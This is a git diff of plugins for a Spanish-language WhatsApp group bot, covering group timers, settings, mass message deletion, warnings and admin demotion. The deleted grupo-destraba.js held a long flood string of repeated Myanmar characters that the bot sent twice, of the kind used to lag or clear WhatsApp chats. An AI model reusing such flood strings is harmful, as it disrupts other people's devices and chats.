-lenguajeGB.smsGrupoTime12() + '24' + lenguajeGB.smsGrupoTime11(),
-lenguajeGB.smsGrupoTime13() + '24' + lenguajeGB.smsGrupoTime11()]
-
-let comando = [
-"open 1", "cerrar 1",
-"open 2", "cerrar 2",
-"open 3", "cerrar 3",
-"open 4", "cerrar 4",
-"open 5", "cerrar 5",
-"open 6", "cerrar 6",
-"open 7", "cerrar 7",
-"open 10", "cerrar 10",
-"open 12", "cerrar 12",
-"open 24", "cerrar 24"]
-
-let sections = Object.keys(nombre, descripción, comando).map((v, index) => ({ title: `${lenguajeGB.smsParaAdmins()}`,
-rows: [{ title: `${nombre[v]}`, description: `${descripción[v]}`, rowId: usedPrefix + command + ' ' + comando[v], }], }))
-
-let caption = `${lenguajeGB['smsAvisoMG']()}
-${lenguajeGB['smsMalused']()}
-${lenguajeGB['smsGrupoTime1']()}
-*${usedPrefix + command} ${lenguajeGB.lenguaje() == 'en' ? 'open' : 'abrir'} 1*
-${lenguajeGB['smsGrupoTime2']()}
-*${usedPrefix + command} ${lenguajeGB.lenguaje() == 'en' ? 'close' : 'cerrar'} 1*`
-
-const listMessage = {
-text: `${wm}`,
-footer: `${caption}`,
-title: null,
-buttonText: `⚙️ ${lenguajeGB.smsConfi1()} ⚙️`,
-sections }
-
-await conn.reply(m.chat, `${lenguajeGB['smsAvisoMG']()} ${lenguajeGB['smsMalused']()}
-${lenguajeGB['smsGrupoTime1']()}
-*${usedPrefix + command} ${lenguajeGB.lenguaje() == 'en' ? 'open' : 'abrir'} 1*
-${lenguajeGB['smsGrupoTime2']()}
-*${usedPrefix + command} ${lenguajeGB.lenguaje() == 'en' ? 'close' : 'cerrar'} 1*`, fkontak, m)
-//await conn.sendMessage(m.chat, caption, {quoted: fkontak})
-throw false
-}
-let timeoutset = 86400000 * args[1] / 24 //Una Hora 86400000
-await conn.groupSettingUpdate(m.chat, isClose).then(async _=> {
-m.reply(`${lenguajeGB['smsAvisoRG']()} *${lenguajeGB['smsGrupoTime3']()}* *${isClose == 'announcement' ? lenguajeGB.smsGrupoTime4() : lenguajeGB.smsGrupoTime5()} ${args[1] ? `${lenguajeGB['smsGrupoTime6']()} ${clockString(timeoutset)}*` : ''}`)
-})
-if (args[1]) {
-setTimeout(async () => {
-await conn.groupSettingUpdate(m.chat, `${isClose == 'announcement' ? 'not_announcement' : 'announcement'}`).then(async _=>{
-conn.reply(m.chat, `${isClose == 'not_announcement' ? lenguajeGB.smsGrupoTime7() : lenguajeGB.smsGrupoTime8()}!!`)
-})
-}, timeoutset)}
-
-} catch (e) {
-await conn.sendButton(m.chat, `\n${wm}`, lenguajeGB['smsMalError3']() + '#report ' + usedPrefix + command, null, [[lenguajeGB.smsMensError1(), `#reporte ${lenguajeGB['smsMensError2']()} *${usedPrefix + command}*`]], m)
-console.log(`❗❗ ${lenguajeGB['smsMensError2']()} ${usedPrefix + command} ❗❗`)
-console.log(e)
-}}
-handler.command = /^(grouptime|gctime|grupotiempo)$/i
-handler.botAdmin = true
-handler.group = true
-handler.admin = true
-
-export default handler
-
-function clockString(ms) {
- let h = Math.floor(ms / 3600000)
- let m = Math.floor(ms / 60000) % 60
- let s = Math.floor(ms / 1000) % 60
- console.log({ms,h,m,s})
- return [h, m, s].map(v => v.toString().padStart(2, 0) ).join(':')
-}
diff --git a/plugins/grupo-configuracion.js b/plugins/grupo-configuracion.js
deleted file mode 100644
index 09bdef0ea..000000000
--- a/plugins/grupo-configuracion.js
+++ /dev/null
@@ -1,46 +0,0 @@
-let handler = async (m, { conn, participants, groupMetadata }) => {
-const pp = await conn.profilePictureUrl(m.chat, 'image').catch(_ => null) || './src/grupos.jpg'
-const { isBanned, autolevelup, antiver, antitoxic, temporal, restrict, stickers, welcome, detect, sWelcome, sBye, sPromote, sDemote, antiLink, antiLink2, modohorny, autosticker, audios, delete: del } = global.db.data.chats[m.chat]
-
-let text =
-`╭━[ 𝘾𝙤𝙣𝙛𝙞𝙜𝙪𝙧𝙖𝙘𝙞𝙤́𝙣 ]━⬣
-┃
-┃ 𝙒𝙚𝙡𝙘𝙤𝙢𝙚 ${welcome ? '✅' : '❌'}
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝘼𝙣𝙩𝙞𝙡𝙞𝙣𝙠 ${antiLink ? '✅' : '❌'}
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝘼𝙣𝙩𝙞𝙡𝙞𝙣𝙠 *2* ${antiLink2 ? '✅' : '❌'}
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝙎𝙩𝙞𝙘𝙠𝙚𝙧 ${stickers ? '✅' : '❌'}
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝙁𝙪𝙣𝙘𝙞𝙤𝙣 𝙗𝙤𝙩𝙚𝙢𝙥𝙤𝙧𝙖𝙡 ${global.db.data.settings[conn.user.jid].temporal ? '✅' : '❌'}
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝙁𝙪𝙣𝙘𝙞𝙤𝙣 𝙖𝙣̃𝙖𝙙𝙞𝙧 𝙮 𝙨𝙖𝙘𝙖 ${global.db.data.settings[conn.user.jid].restrict ? '✅' : '❌'}
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝘼𝙪𝙩𝙤𝙡𝙚𝙫𝙚𝙡𝙪𝙥 ${global.db.data.users[m.sender].autolevelup ? '✅' : '❌'}
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝘿𝙚𝙩𝙚𝙘𝙩 ${detect ? '✅' : '❌'}
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝘼𝙣𝙩𝙞𝙩𝙤𝙭𝙞𝙘 ${antitoxic ? '✅' : '❌'}
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝙖𝙣𝙩𝙞𝙫𝙞𝙚𝙬𝙤𝙣𝙘𝙚 ${antiver ? '✅' : '❌'}
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝘼𝙣𝙩𝙞𝙙𝙚𝙡𝙚𝙩𝙚 ${global.db.data.chats[m.chat].delete ? '✅' : '❌'}
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝙈𝙤𝙙𝙤 𝙝𝙤𝙧𝙣𝙮 (+18) ${modohorny ? '✅' : '❌'}
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝘼𝙪𝙩𝙤𝙨𝙩𝙞𝙘𝙠𝙚𝙧 ${autosticker ? '✅' : '❌'}
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝘼𝙪𝙙𝙞𝙤𝙨 ${audios ? '✅' : '❌'}
-╰━━━━━❰ *𓃠 ${vs}* ❱━━━━⬣
-`.trim()
-//conn.sendFile(m.chat, pp, 'error.jpg', text, m, false, { mentions: [...groupAdmins.map(v => v.id), owner] })
-conn.sendHydrated(m.chat, text, wm, pp, md, '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫', null, null, [
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', '/menu']
-], m,)
-}
-handler.help = ['infogrup']
-handler.tags = ['group']
-handler.command = /^(configuración|settings|setting|confugurar|configuracion|vezgrupo|gruporesumen)$/i
-handler.group = true
-export default handler
diff --git a/plugins/grupo-delete.js b/plugins/grupo-delete.js
index 9fe625786..d48a5580d 100644
--- a/plugins/grupo-delete.js
+++ b/plugins/grupo-delete.js
@@ -1,31 +1,51 @@
-/* Creditos a https://github.com/FG98F */
+let handler = async (m, { conn, args, usedPrefix, command }) => {
-let handler = async (m, { conn, usedPrefix, command }) => {
-if (!m.quoted) throw `*𝙍𝙚𝙨𝙥𝙤𝙣𝙙𝙖 𝙖𝙡 𝙢𝙚𝙣𝙨𝙖𝙟𝙚 𝙦𝙪𝙚 𝙦𝙪𝙞𝙚𝙧𝙚 𝙚𝙡𝙞𝙢𝙞𝙣𝙖𝙧*`
+if (!m.quoted && !m.mentionedJid?.length && !args[0]) return m.reply(`⚠️ Responde al mensaje que quiere eliminar pelotudito.`)
try {
-let delet = m.message.extendedTextMessage.contextInfo.participant
-let bang = m.message.extendedTextMessage.contextInfo.stanzaId
-return conn.sendMessage(m.chat, { delete: { remoteJid: m.chat, fromMe: false, id: bang, participant: delet }})
-} catch {
-return conn.sendMessage(m.chat, { delete: m.quoted.vM.key })
-}}
-handler.help = ['del', 'delete']
-handler.tags = ['group']
-handler.command = /^del(ete)?$/i
-handler.group = true
-handler.admin = true
-handler.botAdmin = true
-export default handler
-/*let handler = function (m) {
-if (!m.quoted) throw false
-let { chat, fromMe, isBaileys } = m.quoted
-if (!fromMe) throw false
-if (!isBaileys) throw '*[❗𝐈𝐍𝐅𝐎❗] 𝙴𝚂𝙴 𝙼𝙴𝙽𝚂𝙰𝙹𝙴 𝙽𝙾 𝙵𝚄𝙴 𝙴𝙽𝚅𝙸𝙰𝙳𝙾 𝙿𝙾𝚁 𝙼𝙸, 𝙽𝙾 𝙻𝙾 𝙿𝚄𝙴𝙳𝙾 𝙴𝙻𝙸𝙼𝙸𝙽𝙰𝚁*'
-conn.sendMessage(chat, { delete: m.quoted.vM.key })
+if (m.quoted) {
+let delet = m.quoted.sender;
+let bang = m.quoted.id;
+return conn.sendMessage(m.chat, { delete: { remoteJid: m.chat, fromMe: false, id: bang, participant: delet } });
+}
+
+let target = '';
+if (m.mentionedJid?.length) {
+target = m.mentionedJid[0];
+} else if (args[0] && args[0].startsWith('+')) {
+target = args[0].replace(/[^0-9]/g, '') + '@s.whatsapp.net';
+} else {
+return m.reply(`⚠️ Mencionar a alguien o responder a un mensaje.`);
}
-handler.help = ['del', 'delete']
-handler.tags = ['tools']
-handler.command = /^del(ete)?$/i
-handler.group = true
-handler.admin = true
-export default handler*/
+
+let chats = await conn.chats[m.chat]?.messages || [];
+let messagesToDelete = Object.values(chats).filter(
+msg => (msg.key.participant === target || msg.key.remoteJid === target));
+
+if (!messagesToDelete.length) return
+let totalToDelete = Math.min(messagesToDelete.length, 200); // Máximo 200 mensajes
+let deletedCount = 0;
+
+for (let i = 0; i < totalToDelete; i++) {
+let message = messagesToDelete[i];
+try {
+await conn.sendMessage(m.chat, { delete: message.key });
+deletedCount++;
+await delay(100);
+} catch (err) {
+console.log(err);
+}}
+m.reply(`✅ Se eliminaron ${deletedCount} mensajes de ${target.includes('@s.whatsapp.net')}.`);
+} catch (err) {
+console.error(err);
+}};
+handler.help = ['delete *@user*'];
+handler.tags = ['group'];
+handler.command = /^del(ete)?$/i;
+handler.group = true;
+handler.admin = true;
+handler.botAdmin = true;
+handler.register = true;
+
+export default handler;
+
+const delay = ms => new Promise(resolve => setTimeout(resolve, ms));
\ No newline at end of file
diff --git a/plugins/grupo-delwarn.js b/plugins/grupo-delwarn.js
new file mode 100644
index 000000000..a2f230b1a
--- /dev/null
+++ b/plugins/grupo-delwarn.js
@@ -0,0 +1,35 @@
+import { db } from '../lib/postgres.js';
+
+let handler = async (m, { conn, args, usedPrefix, command, metadata }) => {
+try {
+let who;
+if (m.isGroup) {
+who = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : false;
+} else {
+who = m.chat;
+}
+
+if (!who) return m.reply(`*¿A quién le quito una advertencia?* Etiqueta a una persona con @tag o cita su mensaje, ¡no soy adivino! :)`)
+const userResult = await db.query(`SELECT * FROM usuarios WHERE id = $1`, [who]);
+if (!userResult.rows.length) return m.reply(`*¿A quién le quito una advertencia?* Etiqueta a una persona con @tag o cita su mensaje, ¡no soy adivino! :)`)
+let warn = userResult.rows[0].warn || 0;
+
+if (warn > 0) {
+await db.query(`UPDATE usuarios
+ SET warn = warn - 1
+ WHERE id = $1`, [who]);
+warn -= 1;
+await conn.reply(m.chat, `*⚠️ SE QUITÓ UNA ADVERTENCIA ⚠️*\n\nUsuario: @${who.split`@`[0]}\n*• Advertencia:* -1\n*• Total:* ${warn}`, m)
+} else {
+await conn.reply(m.chat, `*⚠️ El usuario @${who.split`@`[0]} no tiene ninguna advertencia.*`, m)
+}} catch (err) {
+}};
+handler.help = ['delwarn @user', 'unwarn @user'];
+handler.tags = ['group'];
+handler.command = /^(delwarn|unwarn)$/i;
+handler.group = true;
+handler.admin = true;
+handler.botAdmin = true;
+handler.register = true;
+
+export default handler;
\ No newline at end of file
diff --git a/plugins/grupo-demote.js b/plugins/grupo-demote.js
index 14840242f..13b918e84 100644
--- a/plugins/grupo-demote.js
+++ b/plugins/grupo-demote.js
@@ -1,35 +1,31 @@
-let handler = async (m, { conn,usedPrefix, text }) => {
-if(isNaN(text) && !text.match(/@/g)){
-
-}else if(isNaN(text)) {
-var number = text.split`@`[1]
-}else if(!isNaN(text)) {
-var number = text
+const handler = async (m, {conn, usedPrefix, text}) => {
+if (isNaN(text) && !text.match(/@/g)) {
+} else if (isNaN(text)) {
+var number = text.split`@`[1];
+} else if (!isNaN(text)) {
+var number = text;
}
-
-if(!text && !m.quoted) return conn.reply(m.chat, `𝙒𝙩𝙛 𝙣𝙤 𝙨𝙤𝙮 𝙖𝙙𝙞𝙫𝙞𝙣𝙤.\n 𝙙𝙚𝙗𝙚 𝙙𝙚 𝙪𝙨𝙖𝙧 𝙙𝙚 𝙚𝙨𝙩𝙖 𝙢𝙖𝙣𝙚𝙧𝙖:\n𝙚𝙟𝙚𝙢𝙥𝙡𝙤\n*${usedPrefix}quitaradmin @tag*\n*${usedPrefix}quitaradmin responder a un mensaje*`, m)
-if(number.length > 13 || (number.length < 11 && number.length > 0)) return conn.reply(m.chat, `𝑬𝒔𝒆 𝒏𝒖́𝒎𝒆𝒓𝒐 𝒆𝒔 𝒊𝒏𝒄𝒐𝒓𝒓𝒆𝒄𝒕𝒐, 𝒊𝒏𝒕𝒆𝒏𝒕𝒂 𝒅𝒆𝒍 𝒏𝒖𝒆𝒗𝒐`, m)
-
+
+if (!text && !m.quoted) return conn.reply(m.chat, `*⚠️ ¿A quien le quitó admins?* etiquetas a una persona no soy adivinó :)`, m);
+if (number.length > 13 || (number.length < 11 && number.length > 0)) return conn.reply(m.chat, `*Esta drogado o que ese número ingresado es incorrecto 🤓*, ingresa el número correctamente o mejor etiquetas al usuario.`, m);
try {
-if(text) {
-var user = number + '@s.whatsapp.net'
-} else if(m.quoted.sender) {
-var user = m.quoted.sender
-} else if(m.mentionedJid) {
-var user = number + '@s.whatsapp.net'
-}
-} catch (e) {
+if (text) {
+var user = number + '@s.whatsapp.net';
+} else if (m.quoted.sender) {
+var user = m.quoted.sender;
+} else if (m.mentionedJid) {
+var user = number + '@s.whatsapp.net';
+}} catch (e) {
} finally {
-conn.groupParticipantsUpdate(m.chat, [user], 'demote')
-conn.sendHydrated(m.chat, `𝙅𝙖𝙟𝙖 𝙮𝙖 𝙙𝙚𝙟𝙖𝙨𝙩𝙚 𝙙𝙚 𝙨𝙚𝙧 𝙖𝙙𝙢𝙞𝙣𝙨 𝙣𝙤 𝙛𝙪𝙞𝙨𝙩𝙚 𝙗𝙪𝙚𝙣 𝙖𝙙𝙢𝙞𝙣 :𝙫 😧`, wm, null, md, '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫', null, null, [
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', '/menu']
-], m)
-}}
-handler.help = ['*593xxx*','*@usuario*','*responder chat*'].map(v => 'demote ' + v)
-handler.tags = ['group']
-handler.command = /^(demote|quitarpoder|quitaradmin)$/i
-handler.group = true
-handler.admin = true
-handler.botAdmin = true
-handler.fail = null
-export default handler
+conn.groupParticipantsUpdate(m.chat, [user], 'demote');
+conn.reply(m.chat, `*[ ✅ ] ÓRDENES RECIBIDAS*`, m);
+}};
+handler.help = ['*593xxx*', '*@usuario*', '*responder chat*'].map((v) => 'demote ' + v);
+handler.tags = ['group'];
+handler.command = /^(demote|quitarpoder|quitaradmin)$/i;
+handler.group = true;
+handler.admin = true;
+handler.botAdmin = true;
+handler.register = true
+handler.fail = null;
+export default handler;
diff --git a/plugins/grupo-destraba.js b/plugins/grupo-destraba.js
deleted file mode 100644
index 3f80f2da2..000000000
--- a/plugins/grupo-destraba.js
+++ /dev/null
@@ -1,15 +0,0 @@
-let handler = async (m, { conn }) => {
-m.reply(global.destraba)
-m.reply(global.destraba)
-}
-handler.command = /^(destraba|deztraba|clear)$/i
-export default handler
-
-global.destraba = `
-⏰DESTRAV2.0⏰*
-li.DESTRAVip.to
-2019 🦍💨
-
-ဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪဪ
-☣✝レⅰɬ◊D͠Я◊ⅰD͠ D͠∑ㄅɬЯ∆√✝☣
-`
diff --git a/plugins/grupo-fantasmas.js b/plugins/grupo-fantasmas.js
index d932ddd34..88d594c73 100644
--- a/plugins/grupo-fantasmas.js
+++ b/plugins/grupo-fantasmas.js
@@ -1,58 +1,77 @@
-//import { areJidsSameUser } from '@adiwajshing/baileys'
-let areJidsSameUser = (await import(global.baileys)).default
-let handler = async (m, { conn, text, participants, args, command }) => {
-let member = participants.map(u => u.id)
-if(!text) {
-var sum = member.length
-} else {
-var sum = text}
-var total = 0
-var sider = []
-for(let i = 0; i < sum; i++) {
-let users = m.isGroup ? participants.find(u => u.id == member[i]) : {}
-if((typeof global.db.data.users[member[i]] == 'undefined' || global.db.data.users[member[i]].chat == 0) && !users.isAdmin && !users.isSuperAdmin) {
-if (typeof global.db.data.users[member[i]] !== 'undefined'){
-if(global.db.data.users[member[i]].whitelist == false){
-total++
-sider.push(member[i])}
-}else {
-total++
-sider.push(member[i])}}}
-const delay = time => new Promise(res=>setTimeout(res,time));
-switch (command) {
-case "fantasmas":
